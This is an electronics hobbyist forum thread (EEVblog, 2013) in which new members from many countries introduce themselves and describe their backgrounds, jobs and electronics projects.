I'm not about to abandon the career that has treated me so well (and I love to design and develop software), but this adventure into EE has been a great amount of fun and I see it being a permanent hobby. Perhaps a tad expensive as hobbies go, but hey - as I tell my wife, at least it keeps me out of bars.
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Post by: EExtrom on March 13, 2013, 05:30:44 pm
Hello!

My name is Mitja and I was born in Slovenia (well, at the time it was yugoslavia (NOT Slovakia, at the time Chechoslovakia)).

Three days after getting my EE degree I moved to Finland with my finish wife.

I ended on this forum after stumble on Daves EEVblog several time and decided to watch them ALL!  :-/O

Wish you all good luck in your project endavours!

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Post by: shamanjoe on March 13, 2013, 08:19:20 pm
Hi, I'm Scott, from Los Angeles, California, USA. I've been into simple electrics for a long time, but am very new to soldering and actual electronics work. I'd like to learn as I go along, and teach my daughters, who are 1 and 3, as I learn things. I'm hoping they will grow up to know more about electronics than their old man can ever learn..
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Post by: mattmcp on March 13, 2013, 08:24:54 pm
Hi.  Matt from Ontario, Canada.  I did some EE courses in university and have built some electronics projects.  Slowly I've built a little lab and have the typical test equipment and some microcontrollers.  I've been watching Dave's videos for a while now and enjoy them all even if I don't understand the more complex EE concepts just yet.
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Post by: IanM on March 13, 2013, 08:40:26 pm
Hi, I'm Ian from Ontario Canada. Got my first taste of electronics with those x in 1 kits from radio shack when I was a kid. Now that I'm 30 I've gotten back into it for hobby reasons.

I found Dave's blog on youtube and has proven to be one of the best resources I've found so far.
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Post by: Anson on March 14, 2013, 02:08:06 am
Hello everyone. My name is Anson. I live in Florida in the good ole USA yeah well it used to be good but we won't go there. I'm 35 and disabled living on disability which kinda sucks, I don't have to go to work every day but most of the time I wish I did. It gets boring not being able to do much but I found this new hobby called electronics and I am having a blast so far I have a bread board and a handful of parts (mostly scrap) and a really messy desk! It's cool every time I move a paper with notes or circuits drawn on it I find a transistor or a led. It's really amazing when your first starting out how exiting it is to make an led flash. I'm sure most of you guys will look back and think wow yeah it was exciting. But you were probably 6 or 7 when you did it. I have a 7 year old daughter taht I want to start teaching electronics too but first I need to learn more. But anyway that's me in a nutshell.
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Post by: Nakitxu on March 14, 2013, 08:46:07 am
Hi everyone

My name is Inaki, from basque country.

I'm an electronics engineer but I took almost the last 20 years working as industrial programmer (PLCs and this kind of staff)

I discover the EEVBlog, and I'm again in the electronics.... (preparing my bench... a lot of work to start, huff).

My first project: convert an old and damaged HP Scanner into a UV exposure unit to make PCB.

A comment more: The captcha of this forum is horrible!!! I fail 9 of 10 times... huffff
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Post by: cynikal on March 15, 2013, 04:44:23 am
Hi everyone, i'm a early-30's computer/IT guy and have dabbled with electronics here and there and lately electronics are waaay more interesting to me than computers, so after discovering eevblog while looking for a 'capacitor tutorial' (which was hilarious/hella informative at the same time), here i am.  my earliest experience of electronics was when i was 8 and i had one of those kits ot assemble a radio.  i put it together fine but i had "left over parts" unfortunately, and it didn't work.  but it was a lot of fun and i am in the process of re-getting acquainted with all things electronics.. just picked up a dso today too (and got a 2nd multimeter earlier this week).. anyway other than my ramblings, i have a CS degree but i am starting to really wish i had an EE degree (and was doing that for a living instead), but all that math scared me off :-\ if only it was all hands on only
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Post by: Postal666 on March 15, 2013, 05:33:54 am
Hi all!  37 year old Postal worker (18yrs) here who recently decided to return to school and finish up a long overdue EET degree.  Not looking to set the world on fire, just gain the electronics knowledge I've always wanted to have since I was a young whipper-snapper, and maybe build my own guitar audio gear. I discovered Dave and EEVblog by sheer chance a long while ago, lurked for a long time, then finally saddled up and joined the forum!

By all accounts I am a noob, both to the forum and electronics, and the EEVblog and it's community have been a blessing.  I think this is only my 5th post (now I can enter the contest, oh yeah!), but I was able to participate in the last live show.  I asked about signal generators (Rigol & Atten), but eventually came across an older HP 33120a which is working quite nicely.  Anyway, that's my story, see you around the forum.
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Post by: skiter13 on March 15, 2013, 02:02:29 pm
Hello all.  My name is Richard and I am an EE student from Cleveland Ohio.  Today is my first time in/on the forum although I have been watching and enjoying Dave's videos for a few years.  I don't really remember how I first stumbled on the site, probably searching for help with a homework assignment but I have been coming back ever since.  Thanks Dave for providing this great place and all the great content for us nerds.
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Post by: dark_hawk on March 15, 2013, 04:33:22 pm
Hi,

I'm Ahmed and I'm a Civil engineer from Egypt. I'm starting to learn electronics.
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Post by: georgedone on March 15, 2013, 10:48:31 pm
I'm George hailing from The Netherlands, I worki in IT but my hobbies are self-made alarm systems
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Post by: BobbyK on March 16, 2013, 01:25:00 am
Hi Everyone,

  I hail from the US of A. I studied EE in college, but in the past I've been mostly working in the software industry (well, game development really, but I always get weird looks when I say I make games for a living). Back in the days I designed and built audio amplifiers as a hobby, but then came work, and married life, and a baby,...and more recently, Dave!

   When I found my way to EEVBlog, I was so inspired by Dave's motivated energy and love for all things electronic that I watched all of the videos in just a couple of weeks, and it revived the deep love I had for designing and prototyping electronics - So here I am, setting up a small lab, hoping to learn from all of you, and maybe at some point be able to contribute to discussion. Thanks for a great forum, see you all around :)
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Post by: mtdoc on March 16, 2013, 05:09:36 am
Hey there. 

Well despite my dad being on the forefront of the digital electronics explosion in the 60s-70s and wanting me to go into engineering, I opted for neurobiology where I spent the 80s and 90s playing with neuropharmacology and electrophysiology. Part of that time I was in charge of a large undergraduate neurophysiology lab course which meant a lot of time in front of Tek scopes and looking at small ionic currents and voltages across cell membranes.  Did some Labview programming and made some feeble attempts to learn electronics beyond the minimal I needed for the work I was doing but I never made it very far.  My copy of Horowitz and Hill remained mostly unread and eventually given away (damn!)  |O

Now 2 decades  and a medical education later,  and well into my second career as a "real doctor" I have found myself interested in electronics  again - this time as a hobby. This came on in part as an offshoot of my interest  in electric bicycles, renewable energy and after a recent solar installation -(microhydro is next!)

So, i've been diggin this blog and forum for the past few months and learning lots - thanks Dave!.

I'm putting together a small lab and even picked up a cheap ebay Tek 2236 for old times sake...

Making my way through some basic electonic books and even found a cheap Indian Press version of Horowitz and Hill. Hopefully, I'll get farther this time.  I have a few small projects lined up already so we'll see...
Title: Re: New Member, Please introduce yourself
Post by: brabus on March 16, 2013, 11:40:05 pm
Hello world,

I am Alberto, and I live in Austria... not Australia! (take this, aussie!  ;))

Actually, I am a proud Italian guy with an insane passion for electronics, and I moved to Austria for my job; I work in the automotive field.

That's all, see us in the forum!
Title: Re: New Member, Please introduce yourself
Post by: space_bastard on March 16, 2013, 11:48:12 pm
Hey guys, I'm Connor, from the US. I'm a community college student with many interests. Not too sure what I want to do with my life yet, currently studying Music (Cello performance/Composition) and math & science (Chemistry/Physics, still unsure as to which). I like electronics (obviously), computer science, video games, comics, good books, RC, photography, 3D printing, and on, and on... Looking forward to having some fun on the forum!
Title: Re: New Member, Please introduce yourself
Post by: babysitter on March 17, 2013, 12:39:07 am
Hi I am Hendrik, mid-30s, radio and tv repairman by profession but havent repaired anything in the last 10 years... spending my time with family and about once in 3 months with ham radio... working as a test+qm guy in a med tech company.
Title: Re: New Member, Please introduce yourself
Post by: jtorba on March 17, 2013, 05:53:37 am
My name is Jacob and I have been watching Dave's videos in my free time, saw the contest and saw it as a way to get more involved with electronics.
Title: Re: New Member, Please introduce yourself
Post by: juanfermed on March 17, 2013, 06:05:14 am
Hi! I am Juan Medrano, from Guatemala, a little country in Central America. I have just noticed I never introduced myself here :palm: . I have had the idea to send Dave a postcard, we have beautiful places here too! So in this little country the technological development is still poor, but we are making some steps, we now have something like a mini silicon-valley for software. I am passionate about electronics,  I love it, analog or digital. I hope to write useful posts here, but probably I will be learning much more than posting. Great work Dave, keep the videos going!

Juan Medrano
Title: Re: New Member, Please introduce yourself
Post by: chickenlipss66 on March 17, 2013, 10:03:21 am
Hi, my names Rob. I live in OZ. I work in electronic security. I collect old analouge mobile phones, mainly the 8000 series Motorola bricks (8000x etc), and early Nokia / Mobira phones. I need help with repairs on these phones, i have the moto service manuals, but not the skills to do any service on the units, i need some help. I hope to find somone who has experience and can work on these old phones.
Title: Re: New Member, Please introduce yourself
Post by: tyler on March 17, 2013, 12:00:46 pm
hello
      my name is tyler and i'm going to fanshawe college in london ont, Canada. I'm taking the Renewable Energy Technician (RET).  My dad gave me a Quick-shot  thermite solding iron.  it has never been used and still in box with instructions with 8 boxes of cartridges.  if i were to sell the iron, what are they worth?   thank everyone  tyler
Title: Re: New Member, Please introduce yourself
Post by: SLJ on March 17, 2013, 01:07:35 pm
Tyler,  I have a Quick-shot soldering iron in my collection but no cartridges.  Would love to have a box of cartridges for it.
Check here and contact me: Flame Heated Soldering Irons (http://www.stevenjohnson.com/soldering/flameirons.htm)

Not sure how US customs would like them but who knows.
Title: Re: New Member, Please introduce yourself
Post by: JackB on March 17, 2013, 06:18:42 pm
Hi everyone!  I've been on here for awhile and I had not found time to introduce myself.  I hail from the upper-Midwest of the United States.  I am currently finishing up my last year of graduate school (RF emphasis) and I am excited to start putting my knowledge to use.  Hopefully my job will let me do that, haha!  I stumbled across Dave via a colleague who liked the AmpHour podcast.  Summed up, Dave really knows his electronics (most of the time that is).  His teardowns and videos in general are top-of-the-line!  I applaud him for doing his best to try and spread the valuable experience he has learned so far!

The reason I am drawn to the eevblog is the focus on hobby electronics.  There is something satisfying about building a circuit or programming a uC to do something completely on its own.  All of my projects are like my children.  It's awesome to see them grow but they really annoy a person when they behave badly. 
Title: Re: New Member, Please introduce yourself
Post by: 4to20Milliamps on March 17, 2013, 07:52:11 pm
Hello all,
My name is Bob Snyder I live in the U.S. I've been an electrician for 23 years, I currently work as an automation technician in Wyoming and I have been an electronics hobbiest since I was a kid, I have been a lurker for some time and enjoy Dave's blog.

This seems like a great bunch of guys, I'll try not to tick anybody off  ;)
Title: Re: New Member, Please introduce yourself
Post by: MadModder on March 17, 2013, 08:35:02 pm
Been a member for a year, but haven't written much at all. I mostly hang out on a swedish electronics forum. That means I understand swedish. Beacuse I live in Sweden. Not Switzerland. We do not wear leederhosen or featherd hats, and do not joddle in the mouontains.  ;D
I've been into electronics since I was like, I don't know, 10? But really didn't understand the basics until a couple of years later.
However I did know how to get my LEGO motors and stuff running from batteries at kindergarten.  8)
Now I'm 37 and working with fiber optics. The electronics is all hobby. Got my lab in the basement. Eagerly waiting for the inspiration to finish off the electronics for my bench CNC mill. *sigh*
Title: Re: New Member, Please introduce yourself
Post by: SparkeyinVA on March 18, 2013, 09:10:57 pm
Hello I am Jeramé from the USA.

I have been playing, working with Electronics for the past 30 years.  I am a EE with a strong background in Audio and Video, mainly in sound reinforcement.  I have spent the last 10 years working in the Stepper Motor and Linear Servo World. 

I have written many articles on both of these subjects.  I also teach these at our local school.  Feel free to ask me any question you would like.   

I am currently working on putting up a web sight showing some of my work. 

Have a nice day.
Jeramé C.  SparkeyinVA  (Sparkey in VA - Virginia)
Title: Re: New Member, Please introduce yourself
Post by: AxelDominatoR on March 18, 2013, 09:16:45 pm
Hello, I'm Axel (not my real name, but it doesn't really matter, just call me Axel)
I'm italian, but I live in Glasgow, Scotland.

I'm a professional mad scientist and as such I enjoy fiddling with electricity and dangerous equipment  >:D

My main job is coding and fixing the Nexus.

I have lots of electronic projects I'm beginning to develop and I would be more than happy to share them here :)
Title: Re: New Member, Please introduce yourself
Post by: madshaman on March 20, 2013, 01:15:29 am
Hello, I'm Jeff.

Did electronics as a kid, simple stuff, power supply, simple amp, multivibrator, rechargeable "power" system for my bike.

I recently got back into electronics, starting with simple projects built around microcontrollers, slowly started putting together a lab/play-room.

Lately I've been all about working with analog electronics and learning as much as I can, building circuits as I learn about them.  I'm a hobbyist, but that doesn't mean I don't want to learn as absolutely much as possible and aim for projects as challenging as possible without skipping important steps.

I'm pushing 40, but since I've picked this up again, I feel like I'm 13 again, that in itself is worth it.

If anyone comes across my posts, have no fear of being critical, as long as it's constructive and you really know what you're doing.  I'm more than happy to be wrong because it means I have a chance to learn something I didn't know.

Cheers,

Jeff
Title: Re: New Member, Please introduce yourself
Post by: gineer on March 20, 2013, 06:33:02 am
Hi all,
been listening to the EEVBlog via RSS for a while now and thought I would join in on the forum,

I'm a software Architect who studied Electrical Engineering and enjoy robotics and electronics as a hobby.

Gineer
Title: Re: New Member, Please introduce yourself
Post by: ResR on March 20, 2013, 07:44:11 pm
Hey, I'm Martin, age 25, I'm electrician for 5 years.
I started doing electronics since age 12, I found an neon indicator from a broken stove with resistor and played with it. I live in Estonia, the bombhole of eastern europe  :D.
I builded my first project at age 15, it is one transistor flyback HV generator using parts from scrapped TV, project still works and does plasma in burned out bulbs. The current is too low to pop bulbs.
I had my own 2X36W fluorescent light fixture by age 16, first (only) multimeter  :-DMM by age 19.
I don't have an oscilloscope, I looked for it, but problems start to accumulate, so getting it is postponed temporary until the living conditions gets better.
I'm a noob at electronics design, my first audio amplifier project had too many filters and caps. Amp Project (http://www.myspace.com/resr1286/photos/albums/amp-project-2006/2580955)
I'm upgrading my skills, so any constructive critisism/suggestions are welcome.
Title: Re: New Member, Please introduce yourself
Post by: darko31 on March 21, 2013, 07:37:22 pm
Hello everyone, my name is Darko, I'm 18 and I'm from Serbia. I'm currently in high school, course mechatronics, and I intend to go to university also mechatronics.

I've stumbled upon one of Dave's videos, and I really liked it, been watching them for a while but only recently registered to the forum. Like every beginner I'll try to help out a little that I can, but I'll mostly learn from this forum. So thanks everyone, this is a wonderful place for any EE's and hobbyists. looking forward to learn new things.
Title: Re: New Member, Please introduce yourself
Post by: ChrisCross288 on March 22, 2013, 06:52:04 am
Hello from NC. I'm just about done with my Associates Degree in Electronics Engineering at my local community college. I'm also involved in a work-study there as a teachers assistant to my program director. I've been a casual viewer of the YouTube channel for about a year now, and I figured I would join the forum community.

I am currently in the process of building a FIRST style robot for our lab. The goal is to keep the design modular enough for use in multiple classes and labs.

See you around!
Title: Re: New Member, Please introduce yourself
Post by: winluk on March 22, 2013, 07:26:56 am
Hi,

My name is Lucas. I'm from Ireland.
I've finished Tech & IT college and then I've studied IT & Economics :)
Electronics is my second love. I play with embedded devices running Java.

Cheers and good luck!

Title: Re: New Member, Please introduce yourself
Post by: waqas07 on March 22, 2013, 08:18:15 am
Hello
I am waqas from pakistan i m new in electronics field and i am starting laptop chipset repairing from this week for this i take classes from an institute and guidance from youtube evblog forum it was v.helpfull.
Title: Re: New Member, Please introduce yourself
Post by: PhilNY on March 22, 2013, 06:43:29 pm
My name is Phil
I started in the US air force in 77 working on radar for the F4 Phantom, got my 2yr degree, got my FCC class 1 and did microwave communications, instrument calibration and then ended up at a small college in NY where I have repaired and calibrated measurement equipment for the past 23 years. I found this blog and it put some fun back into the rather tedious life of calibration. The curse of keeping stuff working is that I rarely see much current test equipment due to the robust stuff from the 80's and 90's still kicking. Very interesting discussions on the blog and good to see novices are treated so well.
Title: Re: New Member, Please introduce yourself
Post by: Rodville on March 22, 2013, 09:36:26 pm
Hello everyone, I have been watching the videos on YouTube for some time and have decided it would be a good idea to join the forum. I am interested in electronics as a lay person and have done simple repairs to a variety of things. I admin a automotive forum devoted to the KIA Soul and I moderate a second on the same vehicle. I love to collect old computers and cell phones. And my favorite color is red. Hrmm.... Not sure what else is needed but if you have any questions for me then fire away! 
Title: Re: New Member, Please introduce yourself
Post by: Dakota on March 24, 2013, 01:38:12 am
Hey everyone,

My name is Dakota, I'm 16 and just getting into hobby electronics as a regular thing. I currently sell and repair cell phones to be able to fund projects and buy tools (And of course save for university).

So about a year ago when I started soldering (Using a Metcal at work), I have to say my technique was absolute crap., watching David's videos really helped.

Anyways cheers,
Dakota
Title: Re: New Member, Please introduce yourself
Post by: The_PCB_Guy on March 24, 2013, 02:04:04 am
Oops, somehow I missed this thread and I just posted in introduction in the General Chat :P

It's this thread: https://www.eevblog.com/forum/chat/new-here (https://www.eevblog.com/forum/chat/new-here)!/

Perhaps the mods could move that post in here? Not sure what abilities they have over here.

Anyway, hello everyone!

Matt,

The_PCB_Guy

P.S. Is the verification for every post going to always be there, or is it just for new members?
Title: Re: New Member, Please introduce yourself
Post by: Thor-Arne on March 24, 2013, 02:07:17 am
Welcome!
Just for new members.
Title: Re: New Member, Please introduce yourself
Post by: Sebzy on March 24, 2013, 04:13:34 pm
Well I'm from Ireland and started off in the 90's after completing two and a half years of EE. First job was as a repair technician fixing up old valve radios in a shop called Clifford's Radio here in Dublin. I'm currently teaching electronics in several open community based programs.

Always eager to learn more and the discovery of EEVBlog was amazing.
Title: Re: New Member, Please introduce yourself
Post by: PhilA on March 24, 2013, 08:07:30 pm
Howdy,

I'm Phil from Southeast Louisiana. I work as Network Administrator for the local phone co./ISP. General purpose tinkerer/hack :)

Started out with battery operated electrics at a young age, introduced to computers at age 8 at the college my dad was lecturing at (Sinclair ZX81, incidentally now own that very computer), started to understand electronics at around the same age with a Tandy 50-in-1 kit, various other oddments, then on to Sinclair Spectrum territory, BBC B at school, onward and upward.
Wife says I own too many 'scopes (4). I have a Tektronix 585a back in the UK because it was too big and heavy to ship; a little Beckman Industrial that I bought here out of necessity, and now a Tektronix 464 and HP 1741A which came at the best price of free from work, written off by the accounting department.

Aside from tinkering with electronics, I enjoy working with my Arduino, absolutely love working with my cars. One of my cars comes from an era of microcomputers that I can understand (1987), tinkering with the fuel/spark computer on that keeps me busy.

Was pointed at EEVblog by a friend of mine after I started to ramble on about calibrating my 464...

Nice to meet y'all!

--Phil
Title: Re: New Member, Please introduce yourself
Post by: Jdansti on March 25, 2013, 05:46:06 am
Hi, y'all!  I'm John from SE Texas and I'm 50, my favorite color is blue and I like to take long walks on the beach.  ;)

I grew up playing with electronics. My dad is an EE and us kids always had access to a soldering iron, a meter, and cigar boxes full of parts. I was soldering before I could write my name. I took some electronics classes in high school and college, but ended up graduating with a BS in Environmental Management.  I manage hazardous waste cleanup sites, and my background in electronics has helped me with a lot of electrical related problems at work.

Lately I've been building guitar effects. I couldn't afford these when i was a kid growing up in the 70's and didn't even think about building them. The information wasn't as ubiquitous as it is today and there was no Internet. I get most of my information and help over at diystompboxes.com (I hope it's ok to say that. I don't want to spam, and i have no interest in that site other than I really like it).

So I registered here mainly to help round out my knowledge of electronics. I look forward to checking out the site.
Title: Re: New Member, Please introduce yourself
Post by: megahz on March 27, 2013, 12:11:42 am
Hello! I'm Saul, I am a sophomore in high school, and am planning on going to Drexel for electromechanial engineering, and I love doing DIY electrical projects.
Title: Re: New Member, Please introduce yourself
Post by: geekygenius on March 29, 2013, 05:31:17 am
Hi, I am a high school student living near Seattle, Washington. I am interested in audio electronics, including modular synths, EQs and amplifiers. I found Dave when I was looking for reviews on my first multimeter I got. I also do some computer programming, so getting an Arduino was pretty neat for me. I've spent hours watching the EEVBlog, and look forward to watching many more and learning about electronics!
Title: Re: New Member, Please introduce yourself
Post by: jorgerocha on March 29, 2013, 06:00:55 am
Hi, i'm Jorge from Portugal, and like to make electronic things  :-DMM

Title: Re: New Member, Please introduce yourself
Post by: casper.bang on March 29, 2013, 10:18:45 am
Hey there. I'm Casper, from Denmark. I'm a 34 year old software engineer who grew up like so many other geeks, taking things apart and tinkering, eventually making my way into electronics. After college I opted to go the software route though, since getting parts and equipment is a non-issue. I'm now slowly rediscovering my passion for electronics, primarily driven by interfacing with computers and home automation. Dave's enthusiastic style and excellent walk-throughs have me spending a lot of time on youtube lately while the wife is watching TV; making this a win-win situation. :D
Title: Re: New Member, Please introduce yourself
Post by: TheSoundshark on March 29, 2013, 02:48:23 pm
Hi all im Anthony im 29 from the uk and and electronics nut totally self taught my second love is audio and lighting equipment which spawned im interest in electronics. I run an audio and lighting rental and repair company here in the uk along with a mobile phone and computer repair shop. Iv been watching eevblog for around 2 years now right back to when dave installed his extra work top in his garage at home.

Look forward to chatting to you all and watching many more of dave's great videos.
dyrryy
Title: Re: New Member, Please introduce yourself
Post by: robthegeek on March 29, 2013, 04:26:52 pm
Hello, I'm Rob from the US. I have recently started an interest in better understanding electronics. I have an associates degree in Computer and Networking Systems from Pittsburgh Technical Institute in 2003. I live at home on disability so I have plenty of time on my hands to learn new things.

I haven't created many passive circuits and the ones I did were with lots of reference and were small. I have fooled with 555 timers, Led lighting, Ardunio, Shift Registers, made a small basic laser light effects show once. So, I am very much a beginner. Looking forward to picking brains in the future.
Title: Re: New Member, Please introduce yourself
Post by: abhishek7xavier on March 29, 2013, 07:20:55 pm
Hi,this is abhishek kumar from india.
I am a student and an electronics hobbyist.
You can check my blog at embeddedfortheevil.wordpress.com
Title: Re: New Member, Please introduce yourself
Post by: Eviltech on March 29, 2013, 08:38:32 pm
Hi, I'm Vasil from Bulgaria. I'm currently a student in the Technical University Sofia, but at the Plovdiv branch. Specialty - Automation information and controll technologies. I have been in to electronics for about 12-15 years. It's nice to be here!
Title: Re: New Member, Please introduce yourself
Post by: RPBCACUEAIIBH on March 29, 2013, 08:44:51 pm
Hi all!

I'm from Romania, I'm a student studying mechatronics, at last year (hopefully)... :S:P I like the electronics and programming part, I don't really like mechanics. Ok, I like mechanics as well, but not the calculating part... :P
My hobby is to design new circuits with microcontrollers and 74series logic mostly. I have and Arduino pro mini, a Basys 2 FPGA board and lost count how many ATTiny microcontrollers in various half made projects and tons of home made and/or modified and recycled working things... As for other equipment, I don't have any good equipment, I struggle with a few cheep Chinese, but I learned to use them well... :)
What I don't like is sport, and paperwork... (You see why I hate being student... :P Don't misunderstand this, I'm glad to be still a student, because I would never heard of FPGA and microcontrollers if I wouldn't be here, but I probably will not start one more university...)
I found EEVblog quiet a long time ago on youtube, but I didn't registered to the forum because I don't really like to read much... Watching a video is a completely different thing... :P:)
Title: Re: New Member, Please introduce yourself
Post by: bogdan2013 on March 30, 2013, 12:10:07 am
Hi all !
My name is Bogdan . I'm 16 years old and I'm from Romania . I love the electronics and for that I'm more away than school subject . At school we learn about basic active components (transistors , diodes) lol and some basics logic circuits , how are be MUX / DEMUX , 7 segment decodifier . In this moment I'm working with microcontrollers (mega32) . My first advanced project will be a simple PSU with adjustable voltage based on microcontroller .
I found the EEVBlog from youtube when I searched reviews of some oscilloscopes .
Title: Re: New Member, Please introduce yourself
Post by: GamerAndds on March 30, 2013, 06:40:18 am
Hello world :)
My name is Andre and I Live in Canada. I am currently still in high school as of the time I started on the forms, but plan to become an electrical engineer when older. I am currently working on my first big project, a 2000 Watt amp with supply rails +/- 86 volts, but this is not the first time working with such high voltages and current as microwaves are fun to discharge.....  ^-^ . That's just part of me..... O0
Title: Re: New Member, Please introduce yourself
Post by: Kernel on March 30, 2013, 07:10:10 am
Hi!
I'm Nick, 22 years old, live in Melbourne, studying Computer Systems Engineering at RMIT.
DeeperDarkest on Youtube.
When I was 3 or 4, my brother and I blew up the home PC by switching the PSU from 220 to 110. Have been interested in Electricity and Electronics ever since.
I've already watched several EEVBlog vids and it has inspired me to decide to advance my working knowledge, and start building a few simple things.
Title: Re: New Member, Please introduce yourself
Post by: TheCrazyRichard on March 30, 2013, 11:32:47 am
Hi!
I'm Richard and i live in Czech Republic (somewhere in the central Europe), I'm 16 and I'm studying some highscool, which is oriented to 'global network technologies' but we don't do anything like that, we mostly do just some basic electronics like opamps, transistors, and we're gonna use PIC's and dsPIC's aswell.

I'm interested in computers (all sorts of), CPU/microcontroller design (just some crappy simple concepts), FPGA's (even though I haven't got any FPGA devkit yet, but simulations of my designs kinda work), and also most of the other general electronics stuff.

I've found the EEVblog while browsing youtube when i was ill and had nothing to do, and i found Dave's videos just more than awesome!

--Richard
Title: Re: New Member, Please introduce yourself
Post by: thegermanstig on March 30, 2013, 11:50:30 am
Hello I am Lars from Germany,

I have been following the EEVblog for quite some time now and thought it would be fun to join the forum.
I am studying Electronics Engineering in my last semester and am soon going to graduate as a Bachelor.
Dave's blog is very inspiring and I am always looking for new things to learn.

Cheers.
Title: Re: New Member, Please introduce yourself
Post by: Ribster on March 30, 2013, 06:16:34 pm
Hey there,

I'm Robbe, 23yrs old. Working 5 years now, and studying at the same time.
My background is elektromechanics, but kinda got sucked into electronics.
EEVblog inspired me a lot!

Currently working on a project for school to finish my degree.
It's a solar follower, that's controlled by PLC.
I made a totally dedicated module that drives 2 stepper motors that communicates with the plc.

Some home automation projects are also coming out soon

Well, that's it. I'm happy to be on the forum.
See you around!

Greets
Title: Re: New Member, Please introduce yourself
Post by: ZeroStatic on March 30, 2013, 07:34:37 pm
Hi All. :)

I'm Brenden in Queensland, Australia.

I've been doing electronics for 30+ years and found the EEVBlog for some entertainment, distraction.
I'll be checking to the forums from time to time to help where possible.
My major work is in PIC micros with 15+ years experience.

Keep up the good work Dave, it would be nice to see the PSU project get finished sooner rather than later.

Brenden
Title: Re: New Member, Please introduce yourself
Post by: rstevenson on March 30, 2013, 09:37:14 pm
Hey all!

I'm Ryan from Canada! I am just graduating from Mechatronics Engineering. My friend told me about this forum, so here I am!

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: oscu on March 31, 2013, 12:54:15 am
Hello all!

My name is Oskar and I live in Sweden. Electronics has been a hobby since I was young. I used to build tube guitar amps, but in recent years I have moved to smaller projects and safer voltages. Currently studying electrical engineering.
Title: Re: New Member, Please introduce yourself
Post by: BT BOB on March 31, 2013, 01:50:51 am
Hello from the eastern shore of Maryland, Delmarva and beyond.

Bobs my name and I make a living by working on controls and instrumentation used in food processing plants, waste treatment facility's, water treatment plants or any other place that will have me. I started out as a boiler tech in the US Navy working on pneumatic controls and other instruments. I get to play with a lot of calibration equipment on the job. At home I will work on anything I can get my hands on. Just ordered a  Instek GDS-1102A-U 'scope from Tequipment this weekend 10% off a sale price (ended up around $474 to my door.) cant wait for it to come in so I can play with it and use it to 'shoot my 2236 Textronix.
Title: Re: New Member, Please introduce yourself
Post by: Sander on March 31, 2013, 08:28:13 pm
Hello EEVBlog community,

My name is Sander, 23 years old, living in Hoorn (a city about 30 kilometers north of Amsterdam). I started with electronics at a young age, playing with batteries and bicycle light bulbs. Things got serious when I started model railroading and building audio amplifiers. Eventually I ended up taking engineering classes at the University of Applied Sciences in Alkmaar, which I am currently finishing.

Besides the above, I’m a voluntary lifeboat captain/commander and I like to spend time in the climbing gym (or the Alps, or anywhere they’ve got rocks and/or boulders).

Cheers,
Sander
Title: Re: New Member, Please introduce yourself
Post by: RiverTown on April 02, 2013, 08:50:49 pm
Hi everyone,
I’m Marin, 20 years old, from Croatia. I’m 2nd year EE student. Electronics has been my hobby for almost 7 years. I’m also an active member of local electronics forum elektronika.ba.
I have been following the EEVblog forum and videos for quite some time but, until now, never as registered user. Mostly because of language, I’m not very good in writing English.
Title: Re: New Member, Please introduce yourself
Post by: NeoRecasata on April 03, 2013, 04:09:14 am
Hello EEV bloggers, i'm Franco Neo Recasata, i'm from Philippines i'm 11 Years old,living in Quezon City, I learned Electronics from the internet specially from You tube i was interested in Electrical Engineering when i was 10 years old,Sanwa CD800a was my first   :-DMM
(http://Sanwa CD800a.JPG)
Title: Re: New Member, Please introduce yourself
Post by: airiclenz on April 03, 2013, 09:44:07 am
Hello everybody,

I am mainly a software guy and photographer but started developing some systems for camera-motion-control and thus begun dealing with hardware. Arduino was my first friend and helper on the way of understanding electronics. I am currently developing my own branch of Dave's Power supply and am enjoying every new bit I learn.

I hope I will be able to contribute some of this here in this forum.

Airic
Title: Re: New Member, Please introduce yourself
Post by: mxbeanie on April 04, 2013, 03:03:53 pm
Hello all,

My name is Seth Johnson from Minneapolis, Minnesota.  I work as an engineer in the biomedical field and enjoy pretty much anything with electronics.  My interest in electronics started by building tube amps and effects for electric guitar.  I love watching Dave's videos and really want him to finish his battery powered power supply project.  I want it!

-Seth
Title: Re: New Member, Please introduce yourself
Post by: Axles on April 04, 2013, 08:03:00 pm
Hi,

I'm Mike (in Swansea, UK), my education is formally in human physiology, but my interest in electronics allows me make any devices I need that either don't exist yet or are too expensive for me to purchase.

Title: Re: New Member, Please introduce yourself
Post by: TheRevva on April 05, 2013, 06:54:45 am
I'm a million miles (1.605 Gm?) from being an EE, but I've had more than a passing interest for the past 4 (gulp?) decades...
(In my chosen profession, I deal more with the software aspects than working on the 'iron' itself)
Absolutely LOVE the video blog.  (It was almost scary seeing Dave wandering through his vast history of EA mags.  MANY of those covers were dangerously familiar)

My next little 'design project' is likely going to be a digital ESR / Capacitance meter.

I've seen quite a few different designs,, but none of them got my 'two thumbs up' for every criteria on my wish list, so I'm going to try to 'roll my own'.
Some examples of others that didn't quite meet my criteria:
- The classic 'Bob Parker' ESR meter effectively only runs at 2kHz (8uS + 492uS), but most caps I am interested in testing have a datasheet with 100kHz.  (Admittedly, it's only a minor niggle as the 2kHz ESR would be rather close)
- The classic 'Bob Parker' ESR meter gives no indication of capacitance.  (If it did, you'd instantly recognise paralleled caps)
- Many other ESR meters  I've seen cannot be used to test 'in-circuit' as they throw out several VOLTS to the D.U.T. (risking activation of semiconductors nearby)

In my nativity, I believe it's possible to develop a meter that can measure ESR, Capacitiance AND leakage current of 'in circuit' caps.

Anyway, I'll let y'all know how I go...

Rgds, Trev
Title: Re: New Member, Please introduce yourself
Post by: DaMenaCe on April 05, 2013, 12:40:25 pm
Hello every one, The Name is Dennis. i am New Jersey, United States. i am actually a ME Student but i LOVE Electronics, i dont think i want to switch my major but, i am definitely interested in learning more. I have been following Daves Videos for a while and i am finally here. i am not too sure if could any help to anyone but if i could i would love to do so. thank you.
Dennis :)
Title: Re: New Member, Please introduce yourself
Post by: majki on April 05, 2013, 09:21:25 pm
Hello everyone,

I have been following the EEVblog for quite some time now.
The first episode what I saw was the comparison of PicKit2 and PicKit3 and I liked it very much,
so I stayed here and started to watch almost all episodes from the begining.
I catched up now, so it is the time to join to the forum.

I am from Hungary, 38, Electrical Enginer, but I actually work as a software developer.
(mobile devices, android, little ios)
Electronics is my hobby since I was 12.

My favorit field is the microcontrollers. (PIC, dsPIC and AVR family what I used.)
During the past years I built (later I designed too) quite a lot of circuits including
the major part of my lab equpment.

Radio receivers, power amplifiers, lab power supplies, function generator,
remote temp/humidity meter (rs485 and ethernet), variable frequency drive,
caller ID, digital read out, LCR/ESR meter, transistor tester,
uCurrent with my own PCB design ;-), high voltage scope probe and lot more.
